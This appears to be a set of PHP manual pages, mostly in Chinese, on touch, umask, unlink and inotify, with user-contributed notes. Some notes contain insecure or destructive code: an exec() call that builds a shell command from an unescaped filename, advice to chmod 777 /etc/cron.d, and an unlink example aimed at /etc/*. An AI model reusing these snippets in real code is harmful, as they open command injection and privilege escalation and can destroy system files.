So, file_put_contents is faster than touch, about two times.
chris dot dallaire at csquaredsystems dot com 09-Apr-2010 07:41
I needed to use this to touch the /etc/cron.d directory when I updated some files in there. I know the docs say this isn't necessary, but I'm finding that i need to do it in order form my changes to be picked up quickly.

I ran into the permissions error as well and I found that using chmod 777 /etc/cron.d does the trick.

So, you should be able to use the PHP touch function on a directory that has open write access.

Of course, this isn't the most secure approach, but in our application it's not a big deal for that folder to not be super secure.
ernst at cron-it dot de 29-Sep-2009 06:38
To touch a file without being owner, it is much easier:

<?php
function touchFile($file) {
  fclose(fopen($file, 'a'));
}
?>
info at archiwumrocka dot art dot pl 01-Dec-2008 01:59
Only way to change modification date in catalogue is to create file in via touch() and dalete it with unlink():

<?php
$dir    = 'temp';
$files1 = scandir($dir);

$files1 = array_slice($files1, 2);

foreach ($files1 as $key => $val)
{
    if (!is_dir($val)) continue;
    if (!touch($val))
    {
        touch($val . "/plik.txt");
        unlink($val . "/plik.txt");
    }
}
?>
mrgrier at yahoo dot com 29-Nov-2008 10:29
At least on Linux, touch will not change the time on a symlink itself, but on the file/directory it points to. The only way to work around this is to unlink the symlink, then recreate it.

It took a bit of searching to discover this. The OS itself provides no way to do it. Many people wondered why anyone would want to do this. I use symlinks inside a web tree to point to files outside the web tree. After a certain length of time has passed, I want the symlinks to die, so the files cannot be successfully hotlinked.
ddalex at gmail dot com 03-Nov-2008 09:25
Actually, Glen is right, PHP won't touch if it is not the current owner of the file, even if the directory and files are writeable by the PHP user.
Radon8472 08-Aug-2008 05:07
Important info:

touch() used on a directory always returns FALSE and prints "Permission denied" on NTFS and FAT Filesystem (tested on winXP).
Jeff 26-Jun-2008 12:29
I've been trying to set a filemtime into the future with touch() on PHP5.

It seems touch $time has a future limit around 1000000 seconds (11 days or so). Beyond this point it reverts to a previous $time.

It doesn't make much sense but I could save you hours of time.

$time = time()+1500000;
touch($cachedfile,$time);
Glen 18-Oct-2007 01:01
In unix on the command-line, you can touch files you don't own - but like other comments on this page state - PHP's built in touch won't work.

I simple alternative (on unix):

<?php

    function touch_it_good($filename)
    {
        exec("touch {$filename}");
    }
?>
Charles Belov 18-Jul-2006 06:10
Update the access time without updating the modified time:

Unix command: touch -a filename

PHP: touch(filename, date('U', filemtime(filename)), time())
spam at webmastersguide dot com 01-Sep-2005 05:09
If you're going to go around deleting (unlinking) files
that you don't own just in order to change the modification
time on the file, you darn well better chown() the file
back to it's original ownership after you are done and
chmod() it back to it's correct permissions.  Otherwise
you will almost certainly break things.  Additionally the
code listed for touch()ing a file you don't own should
set the file creation time back to it's original time if
what is wanted is to just change the modification time.
Also, the code listed will break things if there is an i/o
error such as disk full or too many files in the directory.
Here's how the code SHOULD be written:

Create the new file FIRST, rather than last, with a different
name such as $file.tmp.
Read the ownership, permissions, and creation time of the old file.
Set permissions and creation time of the new file the same as the old.
Rename the new file to the name of the old.
chown() the new file to the user that owned the file it's replacing.

Please be careful adding to the documentation if you've
never taken programming 101.
rf_public at yahoo dot co dot uk 25-Jul-2005 12:19
Note: the script to touch a file you don't own will change it's owner so ensure permissions are correct or you could lose access to it
guy at forster design dot com 12-May-2005 03:42
Here's a little workaround that allows the PHP user to touch a file it doesn't own:

<?php

    $target_file = "/path/to/file/filename.txt"; //system filepath to your file
    $file_content = implode("",file($target_file));
    @unlink($target_file);
    if($savetofile = fopen($target_file, "w")) {
        fputs($savetofile, $file_content);
        fclose($savetofile);
    }
    $new_date = strtotime("23 April 2005"); // set the required date timestamp here
    touch($target_file,$new_date);

?>

Of course, PHP needs to have write access to the folder containing the file you want to touch, but that should be easy to arrange.
feathern at yahoo dot com 13-Aug-2002 03:31
Neat little script that will give you a list of all modified files in a certain folder after a certain date:

$filelist = Array();
$filelist = list_dir("d:\\my_folder");
for($i=0;$i<count($filelist);$i++){
    $test = Array();
    $test = explode("/",date("m/d/Y",filemtime($filelist[$i])));
//example of files that are later then
//06/17/2002
    if(($test[2] > 2001) && ($test[1] > 16) && ($test[0] > 5)){
        echo $filelist[$i]."\r\n";
    }
    clearstatcache();
}
function list_dir($dn){
    if($dn[strlen($dn)-1] != '\\') $dn.='\\';
    static $ra = array();
    $handle = opendir($dn);
    while($fn = readdir($handle)){
        if($fn == '.' || $fn == '..') continue;
        if(is_dir($dn.$fn)) list_dir($dn.$fn.'\\');
        else $ra[] = $dn.$fn;
    }
    closedir($handle);
    return $ra;
}


改变当前的 umask

  • ? touch
  • unlink ?
  • PHP Manual
  • 文件系统函数
  • 改变当前的 umask

umask

(PHP 4, PHP 5, PHP 7, PHP 8)

umask — 改变当前的 umask

说明

umask(?int $mask = null): int

umask() 将 PHP 的 umask 设定为 mask & 0777 并返回原来的 umask。当 PHP 被作为服务器模块使用时，在每个请求结束后 umask 会被恢复。

参数

mask

The new umask.

返回值

如果 mask 为 null，umask() 仅返回当前的 umask，有参数则返回原来的 umask。

更新日志

版本 | 说明
8.0.0 | mask 现在可以为 null。

示例

Example #1 umask() 例子

<?php
$old = umask(0);
chmod("/path/some_dir/some_file.txt", 0755);
umask($old);

// Checking
if ($old != umask()) {
die('An error occurred while changing back the umask');
}
?>

注释

Note:

在多线程的服务器上尽量避免使用这个函数。创建文件后要改变其权限最好还是使用 chmod()。使用 umask() 会导致并发程序和服务器发生不可预知的情况，因为它们是使用相同的 umask 的。

User Contributed Notes

ahmad dot mayahi at gmail dot com 14-Mar-2017 10:27
Simply umask means the default permissions for new files/directories:

<?php
umask(022);
?>

This sets the default permissions for user, groups, and others respectively:

? 0 - read, write and execute
? 1 - read and write
? 2 - read and execute
? 3 - read only
? 4 - write and execute
? 5 - write only
? 6 - execute only
? 7 - no permissions
malcolm.murphy 21-Jun-2016 11:09
Clarification Of "mask & 0777":

The manual's comment "umask() sets PHP's umask to mask & 0777 [...]" is merely implying that the method only affects file permissions, but not special modes such as the setuid, setgid or sticky bits. Curiously, PHP does not actually perform the bitwise operation itself, but instead assumes it will be done by a system call of the same name. On some systems such as OS X, umask effectively sets the umask as mask & 07777, but the extraneous bits are not applicable to subsequent PHP calls like mkdir(). Linux's umask does use 0777. Its manual entry has a comment similar to the PHP one, but with a parenthetical statement that helps explain what it means:

"umask() sets the calling process's file mode creation mask (umask) to mask & 0777 (i.e., only the file permission bits of mask are used) [...]"

The fact that permissions can be determined by inverting a mask using the operation $mask & ~0777 is irrelevant, despite its similar appearance to $mask & 0777. The latter operation instead truncates $mask to the first nine low-order bits (i.e., the three rightmost octal digits [and note that the leading zero for octal notation is not itself a digit]). It does not change the remaining bits.

For example, all of the following calls have the same effect: umask(0022), umask(07022), umask(261650) (decimal value of 0777022), and umask(0b111000010010) (binary notation for 07022).
Richard Snell 04-Sep-2015 02:52
It is important to note that the mask parameter will accept values other than octal and that this can cause unexpected results.

Setting umask(22) could be expected to reduce a file with default 0666 permission to 0644 by applying a mask of 0022 but as the parameter is being supplied as a decimal it will be converted to octal silently and actually apply a mask of 0026 resulting in a final file permission of 0642.

Similarly the value returned by umask is in decimal format. If you correctly apply a mask using umask(0022) and then query the new setting with umask() it will return a value of 18 (0022 octal is 18 decimal).

In short, when applying permissions it is best to pad the supplied value with zeros to create an octal value (22 becomes 0022) and if you want to analyze the returned value remember to convert it to octal for ease of interpretation.
neon at neonjs dot com 30-Jul-2011 07:19
In case you don't understand why you need to "Avoid using this function in multithreaded webservers":

It's because this function changes the umask at the process level, rather than only for PHP or for the current script.  If there are multiple simultaneous threads running in the process in which your PHP script is running, the change will apply to all of those threads at the same time hence why this is not safe for multithreaded use.

I understand that if you are using the PHP module and Apache's prefork MPM, which is not multi-threaded, then you at least won't get race-condition problems such as this.  However, it is still worth noting that the umask setting, if not re-set, will persist for the life of that process even if the process is re-used to serve future PHP or non-PHP requests.
bishop 30-Sep-2010 06:01
"It is better to change the file permissions with chmod() after creating the file."

If you take that advice seriously, consider setting your umask so that files are created private to your user, then use chmod to open them up.

<?php
// files will create as -rw-------
umask(0077);

// create a file, eg fopen()

// give access: -rw-r--r--
chmod('/path/to/file', 0644);
?>

Whenever reasonable, default to shut and open as needed (like above) instead of default to open and shut as needed.  The above still has a race condition, but the race condition will deny appropriate access instead of granting inappropriate access.
webmaster at iacomputing dot co dot uk 28-Sep-2010 04:24
You can use umask to solve the PHP session bug that appears in several PHP versions.

<?php
umask(0022);
session_start();
?>

This will prevent sessions being created with inadequate permissions.
librodot at ciberpiula dot net 17-Jun-2009 04:54
I think that the best way to understand umask is to say that umask is used to revoke permissions, not to set permissions.

umask sets which permissions must be removed from the system default when you create a file or a directory.

For example, a mask 0022 means that you don't want group and others modify the file.

default 0666 rw-.rw-.rw-
umask   0022 ---.-w-.-w-
Final   0644 rw-.r--.r--

That means that any file from now on will have 0644 permissions.

It is important to understand that umask revokes, deletes permissions from system default, so it can′t grant permissions the system default hasn't. In the example above, with the 666 system default, there is no way you can use umask to create a file with execute permission. If you want to grant more permissions, use chmod.

Be aware that system default permissions are not related to PHP (they depends upon server configuration). PHP has a default umask that is applied after system default base permissions. And there are different system default base permissions for files and directories.

Usually, system default permissions for files are 666 and for directories 0777. And usually, default PHP umask is 0022
jphansen at uga dot edu 04-Mar-2008 06:45
On most UNIX environments the recommended default umask for files, defined in /home/user/.profile or /etc/profile, is 022 (chmod: 644). On trusted systems it is 002. Exercise caution when applying more liberal settings.
maulwuff at gmx dot de 18-Sep-2007 03:44
umask takes away the given values from the standard mask 777.
A graphical view shows this better:

standard:
rwxrwxrwx = 777
will get with umask 002:
rwxrwxr-x  = 775
or will get with umask 077:
rwx------ = 700

and so on.
sean at awesomeplay dot com 30-May-2007 09:48
"It is better to change the file permissions with chmod() after creating the file."

The usual lacking of security knowledge within the PHP team rears its head once again.  You *always* want to have the file created with the proper permission.  Let me illustrate why:

(a) you create new file with read permissions
(b) an attacking script opens the file
(c) you chmod the file to remove read permissions
(d) you write sensitive data to the file

Now, you might think that the changes of an attacking script getting to open the file before you chmod them are low.  And you're right.  But low changes are never low enough - you want zero chance.

When creating a file that needs increased permissions, you always need to create the file with the proper permissions, and also create it with O_EXCL set.  If you don't do an exclusive create, you end up with this scenario:

(a) attacker creates the file, makes it writable to everyone
(b) you open the file with restricted permissions, but since it already exists, the file is merely opened and the permissions left alone
(c) you write sensitive data into the insecure file

Detecting the latter scenario is possible, but it requires a bit of work.  You have to check that the file's owner and group match the script's (that is, posix_geteuid(), not myuid()) and check the permissions - if any of those are incorrect, then the file is insecure - you can attempt to unlink() it and try again while logging a warning, of course.

The only time when it is reasonable or safe to chmod() a file after creating it is when you want to grant extra permissions instead of removing them.  For example, it is completely safe to set the umask to 0077 and then chmoding the files you create afterward.

Doing truly secure programming in PHP is difficult as is, and advice like this in the documentation just makes things worse.  Remember, kids, anything that applies to security in the C or UNIX worlds is 100% applicable to PHP.  The best thing you can possibly do for yourself as a PHP programmer is to learn and understand secure C and UNIX programming techniques.
ShaD@TW 16-May-2006 09:32
Notice that directory(s) and file(s) sometimes have different results.

<?php
umask(0670);                    //- set umask
$handle = fopen('file', 'w');   //- 0006
mkdir("/path/dir");             //- 0107
?>

calculate the result:
<?php
$umask = 0670;
umask($umask);
//- if you are creating a new directory, $permission = 0777;
//- if you are creating a new file, $permission = 0666.
printf( "result: %04o", $permission & ( 0777 - $umask) );
?>

BTW, as the manual said, the form of umask() is "int umask ( [int mask] )", so if you want to print/echo any umask, don't forget to convert it from DEC (because it returns a "int") to OCT.

<?php
$umask = umask();          //- returns the current umask, which is a "int"
$umask = decoct($umask);   //- Now, $umask is a "string"
echo $umask;
?>

Don't forget that the argument(parameter) is a "int", too.

<?php
umask(777);    //- WRONG! Even though you maybe use "umask 777" in some OS.
umask(0777);   //- OK
?>

If there was any mistake, please correct my statement.
18-Feb-2006 08:31
Using (cmask - umask) is a wrong way to calculate the new mask:

0022 - 0700 = 0656 WRONG
0700 & ~0022 = 0700 CORRECT

Correct php code:
<?php
$rmask = ($cmask & ~$umask);
?>
andi<at>splitbrain.org 03-Mar-2005 02:03
To play around with umasks and permissions use this little fragment:

<?
$umask = 0012;
$perm  = 0777;
printf("umask: %04o perm: %04o result: %04o\n",
       $umask,$perm,$perm & (0777 - $umask));
?>
sam at totallydigital dot co dot nz 19-Sep-2002 09:04
The first comment perhaps didn't quite make clear what's on with your umask and the permissions.

The permission passed to a command is first bitwise ANDed with the _INVERSE_ of the current umask, then applied to the file.

For example, umask = 0011 and permission = 0775
The inverse of 0011 = 0766

0775 AND 0766
= 111.111.101 AND 111.110.110
= 111.110.100
= 0764


删除文件

  • ? umask
  • Inotify ?
  • PHP Manual
  • 文件系统函数
  • 删除文件

unlink

(PHP 4, PHP 5, PHP 7, PHP 8)

unlink — 删除文件

说明

unlink(string $filename, ?resource $context = null): bool

删除 filename。和 Unix C 的 unlink() 函数相似。 发生错误时会产生一个 E_WARNING 级别的错误。

参数

filename

文件的路径。

如果文件是符号链接，将会删除符号链接。在 Windows 上，删除目录的符号链接，必须使用 rmdir()。

context

上下文流（context stream） resource。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.3.0 | 现在 Windows 也可以用 unlink() 删除文件句柄还在使用中的文件了，在此之前是无法删除的。 然而，还是无法重新创建文件，需要等到所有句柄都关闭才可以。

示例

Example #1 基本的 unlink() 用法

<?php
$fh = fopen('test.html', 'a');
fwrite($fh, '<h1>Hello world!</h1>');
fclose($fh);

unlink('test.html');
?>

参见

  • rmdir() - 删除目录

User Contributed Notes

divinity76+spam at gmail dot com 09-Aug-2022 02:59
if you're looking for a recursive unlink:
<?php

/**
 * delete a file or directory
 * automatically traversing directories if needed.
 * PS: has not been tested with self-referencing symlink shenanigans, that might cause a infinite recursion, i don't know.
 *
 * @param string $cmd
 * @throws \RuntimeException if unlink fails
 * @throws \RuntimeException if rmdir fails
 * @return void
 */
function unlinkRecursive(string $path, bool $verbose = false): void
{
    if (!is_readable($path)) {
        return;
    }
    if (is_file($path)) {
        if ($verbose) {
            echo "unlink: {$path}\n";
        }
        if (!unlink($path)) {
            throw new \RuntimeException("Failed to unlink {$path}: " . var_export(error_get_last(), true));
        }
        return;
    }
    $foldersToDelete = array();
    $filesToDelete = array();
    // we should scan the entire directory before traversing deeper, to not have open handles to each directory:
    // on very large director trees you can actually get OS-errors if you have too many open directory handles.
    foreach (new DirectoryIterator($path) as $fileInfo) {
        if ($fileInfo->isDot()) {
            continue;
        }
        if ($fileInfo->isDir()) {
            $foldersToDelete[] = $fileInfo->getRealPath();
        } else {
            $filesToDelete[] = $fileInfo->getRealPath();
        }
    }
    unset($fileInfo); // free file handle
    foreach ($foldersToDelete as $folder) {
        unlinkRecursive($folder, $verbose);
    }
    foreach ($filesToDelete as $file) {
        if ($verbose) {
            echo "unlink: {$file}\n";
        }
        if (!unlink($file)) {
            throw new \RuntimeException("Failed to unlink {$file}: " . var_export(error_get_last(), true));
        }
    }
    if ($verbose) {
        echo "rmdir: {$path}\n";
    }
    if (!rmdir($path)) {
        throw new \RuntimeException("Failed to rmdir {$path}: " . var_export(error_get_last(), true));
    }
}
?>
Keatran 01-Jul-2020 07:41
unlink works the same as the rm command on nix based loses or del command on windows, it will not resolve the file but remove the exact path given even if that path is just a link.

E.G
/var/www/test/index.php = symlink(/home/test/www/index.php)
<?php
unlink("/var/www/test/index.php");
?>
Will just delete the link, not the original file where as
<?php
unlink("/home/test/www/index.php");
?>
Will unlink the original file path and break the symlink, and allow the system to overwrite as the filesystem will not know of the file's location anymore.
llmll at gmx dot de 11-Apr-2015 09:53
On OSX, when fighting against a "Permission Denied" error, make sure, the directory has WRITE permissions for the executing php-user.

Furthermore, if you rely on ACLs, and want to delete a file or symlink, the containing directory needs to have "delete_child" permission in order to unlink things inside. If you only grant "delete" to the folder that will allow you to delete the container folder itself, but not the objects inside.
Eric 11-Aug-2014 02:17
This might seem obvious, but I was tearing my hair out with this problem - make sure the file you're trying to delete isn't currently being used. I had a script that was parsing a text file and was supposed to delete it after completing, but kept getting a permission denied error because I hadn't explicitly closed the file, hence it was technically still being "used" even though the parsing was complete.
deen804 at gmail dot com 10-Dec-2013 06:14
unlink($fileName); failed for me .
Then i tried using the realpath($fileName)  function as
unlink(realpath($fileName)); it worked

just posting it , in case if any one finds it useful .
Alex, the Marrch Ca&#39;at 26-Jun-2013 04:22
The best way to delete files by mask is as follows:
<?php
array_walk(glob('/etc/*'), 'unlink');
?>
Do not use array_map mentioned below - it's purpose is to process values in a given array AND COLLECT data returned by the callback function. So, array_map is slower and uses additional memory compared to array_walk.
anagai at yahoo dot com 06-Sep-2012 07:47
This will delete all files in a directory matching a pattern in one line of code.

<?php array_map('unlink', glob("some/dir/*.txt")); ?>
dexen dot devries at gmail dot com 31-Dec-2010 01:28
Deleted a large file but seeing no increase in free space or decrease of disk usage? Using UNIX or other POSIX OS?

The unlink() is not about removing file, it's about removing a file name. The manpage says: ``unlink - delete a name and possibly the file it refers to''.

Most of the time a file has just one name -- removing it will also remove (free, deallocate) the `body' of file (with one caveat, see below). That's the simple, usual case.

However, it's perfectly fine for a file to have several names (see the link() function), in the same or different directories. All the names will refer to the file body and `keep it alive', so to say. Only when all the names are removed, the body of file actually is freed.

The caveat:
A file's body may *also* be `kept alive' (still using diskspace) by a process holding the file open. The body will not be deallocated (will not free disk space) as long as the process holds it open. In fact, there's a fancy way of resurrecting a file removed by a mistake but still held open by a process...
federico at poisonfx dot com 06-Dec-2010 02:55
Here the simplest way to delete files with mask

<?php
   $mask = "*.jpg"
   array_map( "unlink", glob( $mask ) );
?>
gotdalife at gmail dot com 25-Sep-2008 07:04
To anyone who's had a problem with the permissions denied error, it's sometimes caused when you try to delete a file that's in a folder higher in the hierarchy to your working directory (i.e. when trying to delete a path that starts with "../").

So to work around this problem, you can use chdir() to change the working directory to the folder where the file you want to unlink is located.

<?php
    $old = getcwd(); // Save the current directory
    chdir($path_to_file);
    unlink($filename);
    chdir($old); // Restore the old working directory
?>
PD 06-Aug-2008 05:07
I have been working on some little tryout where a backup file was created before modifying the main textfile. Then when an error is thrown, the main file will be deleted (unlinked) and the backup file is returned instead.

Though, I have been breaking my head for about an hour on why I couldn't get my persmissions right to unlink the main file.

Finally I knew what was wrong: because I was working on the file and hadn't yet closed the file, it was still in use and ofcourse couldn't be deleted :)

So I thought of mentoining this here, to avoid others of making the same mistake:

<?php
// First close the file
fclose($fp);

// Then unlink :)
unlink($somefile);
?>
chris at vibenewmedia dot com 14-Sep-2004 10:54
To delete all files of a particular extension, or infact, delete all with wildcard, a much simplar way is to use the glob function.  Say I wanted to delete all jpgs .........

<?php

foreach (glob("*.jpg") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
   unlink($filename);
}

?>


Inotify

  • 简介
  • 安装/配置
    • 需求
    • 安装/配置
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Inotify 函数
    • inotify_add_watch — 添加监听到已初始化的 inotify 实例
    • inotify_init — 初始化 inotify 实例
    • inotify_queue_len — 如果有待处理事件，返回大于零的数字
    • inotify_read — 从 inotify 实例读取事件
    • inotify_rm_watch — 移除 inotify 实例的监听

User Contributed Notes

There are no user contributed notes for this page.


简介

Inotify 扩展提供了一系列 inotify 函数： inotify_init()、 inotify_add_watch() 、 inotify_rm_watch()。

类似 C 语言里的 inotify_init() 函数会返回文件描述符，PHP 的 inotify_init()则返回 stream 资源。可以被标准的 Steam 函数使用，例如 stream_select()、 stream_set_blocking() 以及 fclose()。 inotify_read() 函数取代里 C 语言里读取 inotify 事件的那种方式。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装/配置
  • 运行时配置
  • 资源类型

User Contributed Notes

There are no user contributed notes for this page.


需求

此扩展需要 Linux 2.6.13 或更新的版本，以及最新的 libC 库。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/inotify.

User Contributed Notes

Sam Wilson 21-Feb-2017 12:50
On Ubuntu with PHP7, Pecl installs Inotify to /usr/lib/php/20151012/inotify.so and this isn't loaded by default. So it needs to be added, by creating /etc/php/7.0/mods-available/inotify.ini with the following contents: extension=inotify.so and then running sudo phpenmod inotify


资源类型

此扩展定义了 inotify_init() 返回的资源流。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Inotify 常量可用于 inotify_add_watch() 或由 inotify_read() 返回
IN_ACCESS (int)
文件被访问（读）（*）
IN_MODIFY (int)
文件被修改（*）
IN_ATTRIB (int)
元数据变更（例如：权限、修改时间等）（*）
IN_CLOSE_WRITE (int)
打开写入后关闭的文件（*）
IN_CLOSE_NOWRITE (int)
未打开写入的文件被关闭（*）
IN_OPEN (int)
文件被打开（*）
IN_MOVED_TO (int)
文件被移动到监听目录（*）
IN_MOVED_FROM (int)
文件移出监听目录（*）
IN_CREATE (int)
在监听目录中创建文件或文件夹（*）
IN_DELETE (int)
监听目录中删除文件或文件夹（*）
IN_DELETE_SELF (int)
监听的文件或目录被删除
IN_MOVE_SELF (int)
监听的文件或目录被移动
IN_CLOSE (int)
与 IN_CLOSE_WRITE | IN_CLOSE_NOWRITE 相等
IN_MOVE (int)
与 IN_MOVED_FROM | IN_MOVED_TO 相等
IN_ALL_EVENTS (int)
以上所有常量的位掩码
IN_UNMOUNT (int)
卸载包含监听对象的文件系统
IN_Q_OVERFLOW (int)
事件队列溢出（此事件中监听描述符是 -1）
IN_IGNORED (int)
监听被移除（通过 inotify_rm_watch() 显示移除，或者是文件被移动，或者文件系统被卸载）
IN_ISDIR (int)
事件发生的主体是目录
IN_ONLYDIR (int)
如果是目录，仅监听路径名（从 Linux 2.6.15 开始）
IN_DONT_FOLLOW (int)
如果是符号链接，不引用路径名（从 Linux 2.6.15 开始）
IN_MASK_ADD (int)
如果路径名存在，追加监听此路径的事件掩码（代替更换掩码）
IN_ONESHOT (int)
路径触发一个监听事件后，从监听列表中移除。

Note: 以上标有星号 (*) 的事件可能发生在已监听目录的文件中。

User Contributed Notes

rogere84 at gmail dot com 16-Apr-2014 06:52
I noticed that the values of the constants seem to be missing. Granted, these could change dependant on version but on my system here are the values (should you want them).

IN_ACCESS = 1
IN_MODIFY = 2
IN_ATTRIB = 4
IN_CLOSE_WRITE = 8
IN_CLOSE_NOWRITE = 16
IN_OPEN = 32
IN_MOVED_FROM = 64
IN_MOVED_TO = 128
IN_CREATE = 256
IN_DELETE = 512
IN_DELETE_SELF = 1024
IN_MOVE_SELF = 2048
IN_UNMOUNT = 8192
IN_Q_OVERFLOW = 16384
IN_IGNORED = 32768
IN_CLOSE = 24
IN_MOVE = 192
IN_ALL_EVENTS = 4095
IN_ONLYDIR = 16777216
IN_DONT_FOLLOW = 33554432
IN_MASK_ADD = 536870912
IN_ISDIR = 1073741824
IN_ONESHOT = 2147483648
crownedgrouse 13-Mar-2009 02:11
Be carefull using IN_MODIFY :

Lot of UNIX editor, for instance like 'vi', work in a 'xxx~' file, and changes are written in 'xxx' when saving or saving and closing.

If a watcher is done on 'xxx', no IN_MODIFY event occurs while not saved !

Prefere IN_CLOSE_WRITE in such case .


Inotify 函数

Table of Contents

  • inotify_add_watch — 添加监听到已初始化的 inotify 实例
  • inotify_init — 初始化 inotify 实例
  • inotify_queue_len — 如果有待处理事件，返回大于零的数字
  • inotify_read — 从 inotify 实例读取事件
  • inotify_rm_watch — 移除 inotify 实例的监听

User Contributed Notes

There are no user contributed notes for this page.


添加监听到已初始化的 inotify 实例

  • ? Inotify 函数
  • inotify_init ?
  • PHP Manual
  • Inotify 函数
  • 添加监听到已初始化的 inotify 实例

inotify_add_watch

(PECL inotify >= 0.1.2)

inotify_add_watch — 添加监听到已初始化的 inotify 实例

说明

inotify_add_watch(resource $inotify_instance, string $pathname, int $mask): int

inotify_add_watch() 为 pathname 指定的文件或目录添加新的监听，或修改已存在的监听。

在已监听的对象上使用 inotify_add_watch() 来替换当前的监听。（或）使用 IN_MASK_ADD 常量添加监听事件。

参数

inotify_instance

inotify_init()返回的资源

pathname

要监听的文件或目录

mask

监听事件。详情见 预定义常量。

返回值

返回值是一个唯一的（inotify 实例范围内）监听描述符。

参见

  • inotify_init() - 初始化 inotify 实例

User Contributed Notes

lezsakdomi1 at gmail dot com 03-Jul-2017 01:53
For an example see inotify_ini: http://php.net/inotify-init
lingtalfi 05-Dec-2014 04:33
inotify_add_watch
returns false when you watch a non existing directory.


初始化 inotify 实例

  • ? inotify_add_watch
  • inotify_queue_len ?
  • PHP Manual
  • Inotify 函数
  • 初始化 inotify 实例

inotify_init

(PECL inotify >= 0.1.2)

inotify_init — 初始化 inotify 实例

说明

inotify_init(): resource

初始化 inotify_add_watch() 使用的 inotify 实例

参数

此函数没有参数。

返回值

返回资源流或发生错误时返回 false。

示例

Example #1 inotify 使用示例

<?php
// Open an inotify instance
$fd = inotify_init();

// Watch __FILE__ for metadata changes (e.g. mtime)
$watch_descriptor = inotify_add_watch($fd, __FILE__, IN_ATTRIB);

// generate an event
touch(__FILE__);

// Read events
$events = inotify_read($fd);
print_r($events);

// The following methods allows to use inotify functions without blocking on inotify_read():

// - Using stream_select() on $fd:
$read = array($fd);
$write = null;
$except = null;
stream_select($read,$write,$except,0);

// - Using stream_set_blocking() on $fd
stream_set_blocking($fd, 0);
inotify_read($fd); // Does no block, and return false if no events are pending

// - Using inotify_queue_len() to check if event queue is not empty
$queue_len = inotify_queue_len($fd); // If > 0, inotify_read() will not block

// Stop watching __FILE__ for metadata changes
inotify_rm_watch($fd, $watch_descriptor);

// Close the inotify instance
// This may have closed all watches if this was not already done
fclose($fd);

?>

以上示例的输出类似于：

array(
  array(
    'wd' => 1,     // Equals $watch_descriptor
    'mask' => 4,   // IN_ATTRIB bit is set
    'cookie' => 0, // unique id to connect related events (e.g.
                   // IN_MOVE_FROM and IN_MOVE_TO events)
    'name' => '',  // the name of a file (e.g. if we monitored changes
                   // in a directory)
  ),
);

参见

  • inotify_add_watch() - 添加监听到已初始化的 inotify 实例
  • inotify_rm_watch() - 移除 inotify 实例的监听
  • inotify_queue_len() - 如果有待处理事件，返回大于零的数字
  • inotify_read() - 从 inotify 实例读取事件
  • fclose() - 关闭一个已打开的文件指针

User Contributed Notes

david dot schueler at tel-billig dot de 25-Nov-2010 08:42
Example for tailing a file (like tail -f) using inotify.
<?php
/**
 * Tail a file (UNIX only!)
 * Watch a file for changes using inotify and return the changed data
 *
 * @param string $file - filename of the file to be watched
 * @param integer $pos - actual position in the file
 * @return string
 */
function tail($file,&$pos) {
    // get the size of the file
    if(!$pos) $pos = filesize($file);
    // Open an inotify instance
    $fd = inotify_init();
    // Watch $file for changes.
    $watch_descriptor = inotify_add_watch($fd, $file, IN_ALL_EVENTS);
    // Loop forever (breaks are below)
    while (true) {
        // Read events (inotify_read is blocking!)
        $events = inotify_read($fd);
        // Loop though the events which occured
        foreach ($events as $event=>$evdetails) {
            // React on the event type
            switch (true) {
                // File was modified
                case ($evdetails['mask'] & IN_MODIFY):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // open the file
                    $fp = fopen($file,'r');
                    if (!$fp) return false;
                    // seek to the last EOF position
                    fseek($fp,$pos);
                    // read until EOF
                    while (!feof($fp)) {
                        $buf .= fread($fp,8192);
                    }
                    // save the new EOF to $pos
                    $pos = ftell($fp); // (remember: $pos is called by reference)
                    // close the file pointer
                    fclose($fp);
                    // return the new data and leave the function
                    return $buf;
                    // be a nice guy and program good code ;-)
                    break;

                    // File was moved or deleted
                case ($evdetails['mask'] & IN_MOVE):
                case ($evdetails['mask'] & IN_MOVE_SELF):
                case ($evdetails['mask'] & IN_DELETE):
                case ($evdetails['mask'] & IN_DELETE_SELF):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // Return a failure
                    return false;
                    break;
            }
        }
    }
}

// Use it like that:
$lastpos = 0;
while (true) {
    echo tail($file,$lastpos);
}
?>


如果有待处理事件，返回大于零的数字

  • ? inotify_init
  • inotify_read ?
  • PHP Manual
  • Inotify 函数
  • 如果有待处理事件，返回大于零的数字

inotify_queue_len

(PECL inotify >= 0.1.2)

inotify_queue_len — 如果有待处理事件，返回大于零的数字

说明

inotify_queue_len(resource $inotify_instance): int

可以通过此函数知道 inotify_read() 是否会阻塞。如果返回大于零的数字，表示有待处理的事件，inotify_read() 不会阻塞。

参数

inotify_instance

inotify_init()返回的资源

返回值

如果有待处理事件，返回大于零的数字。

参见

  • inotify_init() - 初始化 inotify 实例
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds
  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式

User Contributed Notes

There are no user contributed notes for this page.


从 inotify 实例读取事件

  • ? inotify_queue_len
  • inotify_rm_watch ?
  • PHP Manual
  • Inotify 函数
  • 从 inotify 实例读取事件

inotify_read

(PECL inotify >= 0.1.2)

inotify_read — 从 inotify 实例读取事件

说明

inotify_read(resource $inotify_instance): array

从 inotify 实例读取 inotify 事件。

参数

inotify_instance

inotify_init()返回的资源

返回值

返回 inotify 事件数组。在没有待处理事件或 inotify_instance 非阻塞时返回 false。事件发生时都会返回包含以下键的数组：

  • wd 是由 inotify_add_watch() 返回的监听描述符
  • mask 是 events 的位掩码
  • cookie 是连接相关事件（例如：IN_MOVE_FROM 和 IN_MOVE_TO）的唯一 id
  • name 是文件名（例如：监听目录中被修改的文件）

参见

  • inotify_init() - 初始化 inotify 实例
